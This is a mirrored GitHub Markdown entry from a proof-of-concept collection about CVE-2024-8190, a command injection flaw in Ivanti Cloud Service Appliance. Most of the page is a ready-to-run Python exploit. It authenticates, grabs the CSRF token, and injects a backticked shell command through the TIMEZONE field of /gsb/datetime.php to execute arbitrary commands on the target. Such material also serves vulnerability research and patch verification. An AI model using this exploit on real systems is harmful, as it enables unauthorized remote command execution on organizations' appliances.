mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 18:27:10 +00:00
65 lines
2.2 KiB
Markdown
65 lines
2.2 KiB
Markdown
|
# Ivanti Cloud Service Appliance存在命令注入漏洞(CVE-2024-8190)
|
|||
|
|
|
|||
|
|
Ivanti Cloud Service Appliance 4.6 Patch 519之前版本中存在命令注入漏洞，由于解析HTTP请求时对TIMEZONE请求参数缺乏适当的输入验证和清理，导致恶意输入可以被exec()函数执行，从而导致命令注入，经过身份验证且拥有管理员权限的威胁者可利用该漏洞远程执行任意命令。
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/python3
|
|||
|
|
import argparse
|
|||
|
|
import re
|
|||
|
|
import requests
|
|||
|
|
import sys
|
|||
|
|
import urllib3
|
|||
|
|
from requests.auth import HTTPBasicAuth
|
|||
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
def exploit(url, username, password, command):
|
|||
|
|
u = username
|
|||
|
|
p = password
|
|||
|
|
s = requests.Session()
|
|||
|
|
r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
|
|||
|
|
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
|
|||
|
|
if m:
|
|||
|
|
ldcsa = m.group(1)
|
|||
|
|
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
|
|||
|
|
else:
|
|||
|
|
print(f"[-] Failed getting LDCSA_CRSF token")
|
|||
|
|
sys.exit(0)
|
|||
|
|
|
|||
|
|
payload = {
|
|||
|
|
"dateTimeFormSubmitted": "1",
|
|||
|
|
"TIMEZONE": f"; `{command}` ;",
|
|||
|
|
"CYEAR": "2024",
|
|||
|
|
"CMONTH": "9",
|
|||
|
|
"CDAY": "13",
|
|||
|
|
"CHOUR": "12",
|
|||
|
|
"CMIN": "34",
|
|||
|
|
"LDCSA_CSRF": ldcsa,
|
|||
|
|
"SUBMIT_TIME": "Save"
|
|||
|
|
}
|
|||
|
|
print(f"[*] Sending payload...")
|
|||
|
|
r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
parser = argparse.ArgumentParser()
|
|||
|
|
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
|
|||
|
|
parser.add_argument('--username', help='The application username', required=True)
|
|||
|
|
parser.add_argument('--password', help='The application password', required=True)
|
|||
|
|
parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
|
|||
|
|
exploit(args.url, args.username, args.password, args.command)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞来源
|
|||
|
|
|
|||
|
|
- https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
|
|||
|
|
- https://github.com/lal0ne/vulnerability/tree/main/Ivanti/CVE-2024-8190
|